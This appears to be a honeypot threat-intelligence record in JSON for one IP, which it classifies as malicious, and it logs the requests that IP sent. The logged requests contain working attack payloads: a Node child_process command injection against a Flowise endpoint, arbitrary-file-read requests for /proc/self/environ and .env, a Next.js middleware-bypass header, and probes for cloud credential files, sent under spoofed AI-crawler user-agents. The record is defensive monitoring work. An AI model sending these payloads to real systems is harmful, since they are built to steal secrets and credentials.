{"ip":"172.69.130.211","observed":true,"total_events":45,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"21 exploit-path hits","confidence":"high","network_type":"CDN","why":["21 request(s) matched a known exploit path.","Body-carrying methods (POST/PUT/PATCH/DELETE) seen: payload delivery, not just recon.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 233,550 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"233,550 bytes sent","bytes_sent":233550,"session_seconds":12,"persistent":false},"basis":"first_contact"},"first_seen":"2026-10-14T03:12:20","last_seen":"2026-10-14T03:12:31","events_24h":0,"events_7d":45,"interactive_sessions":0,"interactive_sessions_24h":0,"interactive_sessions_7d":0,"interactive_protocols":[],"geo":{"country_code":"CA","country_name":"Canada","region":"Ontario","city":"Toronto","lat":43.709,"lon":-79.4057,"asn":13335,"org":"Cloudflare, Inc."},"source_domain":null,"known_scanners":[],"scanner_tag":{"key":"peeringdb:as13335","label":"Cloudflare","category":"cdn","url":"https://www.peeringdb.com/asn/13335"},"cve_matches":[{"cve_id":"CVE-2026-85688","title":"TEN Framework - Arbitrary File Read & Write","severity":"critical","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/designer/v1/file-content"},{"cve_id":"CVE-2026-23536","title":"Feast Feature Server <=0.58.0 - Arbitrary File Read","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/read-document"}],"malware":[],"udp":null,"interaction":null,"top_ports":[{"port":443,"proto":"tcp","label":"HTTPS","count":45}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13d1312h2_a44d0ee8b3cc_e381dae6da6b"],"tls_client_hello":"1603010200010001fc030358292afcded828cfe990126279a8d2e79d9ae0a8e75b6eadb3fc9220afd0195e20cbef243b15adabb777960469b23065f9c48f8f64fbf07ca672bdb04f9f8ce6a7001a130113021303c02bc02cc02fc030c013009c009d002f0035000a01000199000000160014000011736974652e7072696e636875622e636f6d00170000ff01000100000a0010000e001d00170018001911ec6399fe32000b00020100002300000010000e000c02683208687474702f312e31000d0018001609040403080404010503080505010806060102010603003300260024001d0020baf07fc364b5d1be9906b3aac2707690ff0ed54ccf962d5c303b1512fd8a8d05002d00020101002b0009080304030303020301001500e90000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","tls_ja3":["67560f98d68783bd640246df3052c151"],"http_akin":["b11cun148_80040017_b6ce16b9_x379753ab95539f8fce00d0f1dafedf99","b11cuq136_80050813_f44850b6_x379753ab95539f8fdafedf99"]},"fingerprint_peers":{"t13d1312h2_a44d0ee8b3cc_e381dae6da6b":237,"b11cun148_80040017_b6ce16b9_x379753ab95539f8fce00d0f1dafedf99":124,"b11cuq136_80050813_f44850b6_x379753ab95539f8fdafedf99":31},"akin_families":{"b11cun148_80040017_b6ce16b9_x379753ab95539f8fce00d0f1dafedf99":{"head":"b11cun148_80040017_b6ce16b9_x379753ab95539f8fce00d0f1dafedf99","shapes":3,"ips":124},"b11cuq136_80050813_f44850b6_x379753ab95539f8fdafedf99":{"head":"b11cuq136_80050813_f44850b6_x379753ab95539f8fdafedf99","shapes":5,"ips":31}},"user_agents":["Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)","Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)","Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)","Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)","Mozilla/5.0 (compatible; Meta-ExternalFetcher/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)","Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)","Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)","Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)"],"timeline":[{"date":"2026-10-14","count":45}],"recent_events":[{"timestamp":"2026-10-14T03:12:31","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"104.154.48.156\",\"cf-ipcountry\":\"US\",\"cf-ray\":\"a4a367257ca3abb8-YYZ\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"content-length\":\"211\",\"content-type\":\"application/json\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)\",\"x-forwarded-for\":\"104.154.48.156\",\"x-forwarded-proto\":\"https\"}","body":"{\"loadMethod\":\"listActions\",\"inputs\":{\"mcpServerConfig\":\"({x:(function(){return process.mainModule.require('child_process').execSync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null').toString();})()} )\"}}","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/flowise/api/v1/node-load-method/customMCP","summary":"","payload_hex":"504f5354202f666c6f776973652f6170692f76312f6e6f64652d6c6f61642d6d6574686f642f637573746f6d4d435020485454502f312e310d0a782d666f727761726465642d666f723a203130342e3135342e34382e3135360d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a757365722d6167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b205177656e626f742f312e303b202b68747470733a2f2f7177656e2e616c69626162612e636f6d2f290d0a636f6e74656e742d747970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a63662d7261793a20613461333637323537636133616262382d59595a0d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a203130342e3135342e34382e3135360d0a43462d4950436f756e7472793a2055530d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e74656e742d4c656e6774683a203231310d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a7b226c6f61644d6574686f64223a226c697374416374696f6e73222c22696e70757473223a7b226d6370536572766572436f6e666967223a22287b783a2866756e6374696f6e28297b72657475726e2070726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e6578656353796e632827656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c27292e746f537472696e6728293b7d2928297d2029227d7d","method":"POST","user_agent":"Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)","ja3":"67560f98d68783bd640246df3052c151","session":"deeb0a21-c186-4c44-b01d-1c20df123073","seq":17,"duration_ms":11723,"bytes_in":10853,"bytes_out":1343},{"timestamp":"2026-10-14T03:12:28","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"104.154.48.156\",\"cf-ipcountry\":\"US\",\"cf-ray\":\"a4a367133b2dabb8-YYZ\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"content-length\":\"34\",\"content-type\":\"application/json\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot\",\"x-forwarded-for\":\"104.154.48.156\",\"x-forwarded-proto\":\"https\"}","body":"{\"file_path\":\"/proc/self/environ\"}","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api/designer/v1/file-content","summary":"","payload_hex":"504f5354202f6170692f64657369676e65722f76312f66696c652d636f6e74656e7420485454502f312e310d0a782d666f727761726465642d666f723a203130342e3135342e34382e3135360d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a636f6e74656e742d747970653a206170706c69636174696f6e2f6a736f6e0d0a757365722d6167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f293b20636f6d70617469626c653b20436861744750542d557365722f312e303b202b68747470733a2f2f6f70656e61692e636f6d2f626f740d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a63662d7261793a20613461333637313333623264616262382d59595a0d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a203130342e3135342e34382e3135360d0a43462d4950436f756e7472793a2055530d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e74656e742d4c656e6774683a2033340d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a7b2266696c655f70617468223a222f70726f632f73656c662f656e7669726f6e227d","method":"POST","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot","ja3":"67560f98d68783bd640246df3052c151","session":"6a168724-1a01-48e4-9a29-f51d9224c33b","seq":17,"duration_ms":8731,"bytes_in":10520,"bytes_out":1343},{"timestamp":"2026-10-14T03:12:28","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"104.154.48.156\",\"cf-ipcountry\":\"US\",\"cf-ray\":\"a4a367115937abb8-YYZ\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"content-length\":\"27\",\"content-type\":\"application/json\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\",\"x-forwarded-for\":\"104.154.48.156\",\"x-forwarded-proto\":\"https\"}","body":"{\"command\":\"env\",\"args\":[]}","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api/fs/exec","summary":"","payload_hex":"504f5354202f6170692f66732f6578656320485454502f312e310d0a782d666f727761726465642d666f723a203130342e3135342e34382e3135360d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a757365722d6167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20476f6f676c65626f742f322e313b202b687474703a2f2f7777772e676f6f676c652e636f6d2f626f742e68746d6c290d0a636f6e74656e742d747970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a63662d7261793a20613461333637313135393337616262382d59595a0d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a203130342e3135342e34382e3135360d0a43462d4950436f756e7472793a2055530d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e74656e742d4c656e6774683a2032370d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a7b22636f6d6d616e64223a22656e76222c2261726773223a5b5d7d","method":"POST","user_agent":"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)","ja3":"67560f98d68783bd640246df3052c151","session":"7252a2af-1c44-4ff0-80e8-1acc915532e6","seq":11,"duration_ms":6976,"bytes_in":6787,"bytes_out":869},{"timestamp":"2026-10-14T03:12:27","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"104.154.48.156\",\"cf-ipcountry\":\"US\",\"cf-ray\":\"a4a367087fa7abb8-YYZ\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"content-length\":\"20\",\"content-type\":\"application/json\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Meta-ExternalFetcher/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)\",\"x-forwarded-for\":\"104.154.48.156\",\"x-forwarded-proto\":\"https\"}","body":"{\"file_path\":\".env\"}","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/read-document","summary":"","payload_hex":"504f5354202f726561642d646f63756d656e7420485454502f312e310d0a782d666f727761726465642d666f723a203130342e3135342e34382e3135360d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a757365722d6167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204d6574612d45787465726e616c466574636865722f312e303b202b68747470733a2f2f646576656c6f706572732e66616365626f6f6b2e636f6d2f646f63732f73686172696e672f7765626d6173746572732f637261776c6572290d0a636f6e74656e742d747970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a63662d7261793a20613461333637303837666137616262382d59595a0d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a203130342e3135342e34382e3135360d0a43462d4950436f756e7472793a2055530d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e74656e742d4c656e6774683a2032300d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a7b2266696c655f70617468223a222e656e76227d","method":"POST","user_agent":"Mozilla/5.0 (compatible; Meta-ExternalFetcher/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)","ja3":"67560f98d68783bd640246df3052c151","session":"deeb0a21-c186-4c44-b01d-1c20df123073","seq":16,"duration_ms":7086,"bytes_in":10170,"bytes_out":1264},{"timestamp":"2026-10-14T03:12:25","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"104.154.48.156\",\"cf-ipcountry\":\"US\",\"cf-ray\":\"a4a366fcec7fabb8-YYZ\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)\",\"x-forwarded-for\":\"104.154.48.156\",\"x-forwarded-proto\":\"https\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/.env.production?import&raw","summary":"","payload_hex":"474554202f2e656e762e70726f64756374696f6e3f696d706f72742672617720485454502f312e310d0a782d666f727761726465642d666f723a203130342e3135342e34382e3135360d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a6163636570743a202a2f2a0d0a757365722d6167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204d6574612d45787465726e616c4167656e742f312e303b202b68747470733a2f2f646576656c6f706572732e66616365626f6f6b2e636f6d2f646f63732f73686172696e672f7765626d6173746572732f637261776c6572290d0a782d6e6578746a732d646174613a20310d0a63662d7261793a20613461333636666365633766616262382d59595a0d0a782d6d6964646c65776172652d737562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a203130342e3135342e34382e3135360d0a43462d4950436f756e7472793a2055530d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)","ja3":"67560f98d68783bd640246df3052c151","session":"7252a2af-1c44-4ff0-80e8-1acc915532e6","seq":10,"duration_ms":3707,"bytes_in":6312,"bytes_out":790},{"timestamp":"2026-10-14T03:12:25","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"104.154.48.156\",\"cf-ipcountry\":\"US\",\"cf-ray\":\"a4a366fc6c10abb8-YYZ\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Meta-ExternalFetcher/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)\",\"x-forwarded-for\":\"104.154.48.156\",\"x-forwarded-proto\":\"https\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/@fs/proc/self/cmdline?raw??","summary":"","payload_hex":"474554202f4066732f70726f632f73656c662f636d646c696e653f7261773f3f20485454502f312e310d0a782d666f727761726465642d666f723a203130342e3135342e34382e3135360d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a6163636570743a202a2f2a0d0a757365722d6167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204d6574612d45787465726e616c466574636865722f312e303b202b68747470733a2f2f646576656c6f706572732e66616365626f6f6b2e636f6d2f646f63732f73686172696e672f7765626d6173746572732f637261776c6572290d0a782d6e6578746a732d646174613a20310d0a63662d7261793a20613461333636666336633130616262382d59595a0d0a782d6d6964646c65776172652d737562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a203130342e3135342e34382e3135360d0a43462d4950436f756e7472793a2055530d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (compatible; Meta-ExternalFetcher/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)","ja3":"67560f98d68783bd640246df3052c151","session":"deeb0a21-c186-4c44-b01d-1c20df123073","seq":15,"duration_ms":5150,"bytes_in":9656,"bytes_out":1185},{"timestamp":"2026-10-14T03:12:25","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"104.154.48.156\",\"cf-ipcountry\":\"US\",\"cf-ray\":\"a4a366fd1ca4abb8-YYZ\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)\",\"x-forwarded-for\":\"104.154.48.156\",\"x-forwarded-proto\":\"https\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/.env.development?raw","summary":"","payload_hex":"474554202f2e656e762e646576656c6f706d656e743f72617720485454502f312e310d0a782d666f727761726465642d666f723a203130342e3135342e34382e3135360d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a757365722d6167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b205177656e626f742f312e303b202b68747470733a2f2f7177656e2e616c69626162612e636f6d2f290d0a782d6e6578746a732d646174613a20310d0a782d6d6964646c65776172652d737562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a63662d7261793a20613461333636666431636134616262382d59595a0d0a6163636570743a202a2f2a0d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a203130342e3135342e34382e3135360d0a43462d4950436f756e7472793a2055530d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)","ja3":"67560f98d68783bd640246df3052c151","session":"6a168724-1a01-48e4-9a29-f51d9224c33b","seq":16,"duration_ms":5196,"bytes_in":9988,"bytes_out":1264},{"timestamp":"2026-10-14T03:12:24","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"104.154.48.156\",\"cf-ipcountry\":\"US\",\"cf-ray\":\"a4a366f8df4cabb8-YYZ\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; OAI-AdsBot/1.0; +https://openai.com/adsbot\",\"x-forwarded-for\":\"104.154.48.156\",\"x-forwarded-proto\":\"https\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/.dev.vars","summary":"","payload_hex":"474554202f2e6465762e7661727320485454502f312e310d0a782d666f727761726465642d666f723a203130342e3135342e34382e3135360d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a782d6e6578746a732d646174613a20310d0a782d6d6964646c65776172652d737562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a6163636570743a202a2f2a0d0a63662d7261793a20613461333636663864663463616262382d59595a0d0a757365722d6167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f293b20636f6d70617469626c653b204f41492d416473426f742f312e303b202b68747470733a2f2f6f70656e61692e636f6d2f616473626f740d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a203130342e3135342e34382e3135360d0a43462d4950436f756e7472793a2055530d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; OAI-AdsBot/1.0; +https://openai.com/adsbot","ja3":"67560f98d68783bd640246df3052c151","session":"6a168724-1a01-48e4-9a29-f51d9224c33b","seq":14,"duration_ms":4517,"bytes_in":8728,"bytes_out":1106},{"timestamp":"2026-10-14T03:12:24","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"104.154.48.156\",\"cf-ipcountry\":\"US\",\"cf-ray\":\"a4a366fb3af4abb8-YYZ\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)\",\"x-forwarded-for\":\"104.154.48.156\",\"x-forwarded-proto\":\"https\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/.config/gcloud/application_default_credentials.json","summary":"","payload_hex":"474554202f2e636f6e6669672f67636c6f75642f6170706c69636174696f6e5f64656661756c745f63726564656e7469616c732e6a736f6e20485454502f312e310d0a782d666f727761726465642d666f723a203130342e3135342e34382e3135360d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a6163636570743a202a2f2a0d0a757365722d6167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204272617665626f742f312e303b202b68747470733a2f2f62726176652e636f6d2f7365617263682f290d0a782d6e6578746a732d646174613a20310d0a63662d7261793a20613461333636666233616634616262382d59595a0d0a782d6d6964646c65776172652d737562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a203130342e3135342e34382e3135360d0a43462d4950436f756e7472793a2055530d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)","ja3":"67560f98d68783bd640246df3052c151","session":"6a168724-1a01-48e4-9a29-f51d9224c33b","seq":15,"duration_ms":4895,"bytes_in":9374,"bytes_out":1185},{"timestamp":"2026-10-14T03:12:24","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"104.154.48.156\",\"cf-ipcountry\":\"US\",\"cf-ray\":\"a4a366f7ed16abb8-YYZ\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"host\":\"site.princhub.com\",\"user-agent\":\"CCBot/2.0 (https://commoncrawl.org/faq/)\",\"x-forwarded-for\":\"104.154.48.156\",\"x-forwarded-proto\":\"https\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/serverless.yml","summary":"","payload_hex":"474554202f7365727665726c6573732e796d6c20485454502f312e310d0a782d666f727761726465642d666f723a203130342e3135342e34382e3135360d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a6163636570743a202a2f2a0d0a757365722d6167656e743a204343426f742f322e30202868747470733a2f2f636f6d6d6f6e637261776c2e6f72672f6661712f290d0a782d6e6578746a732d646174613a20310d0a63662d7261793a20613461333636663765643136616262382d59595a0d0a782d6d6964646c65776172652d737562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a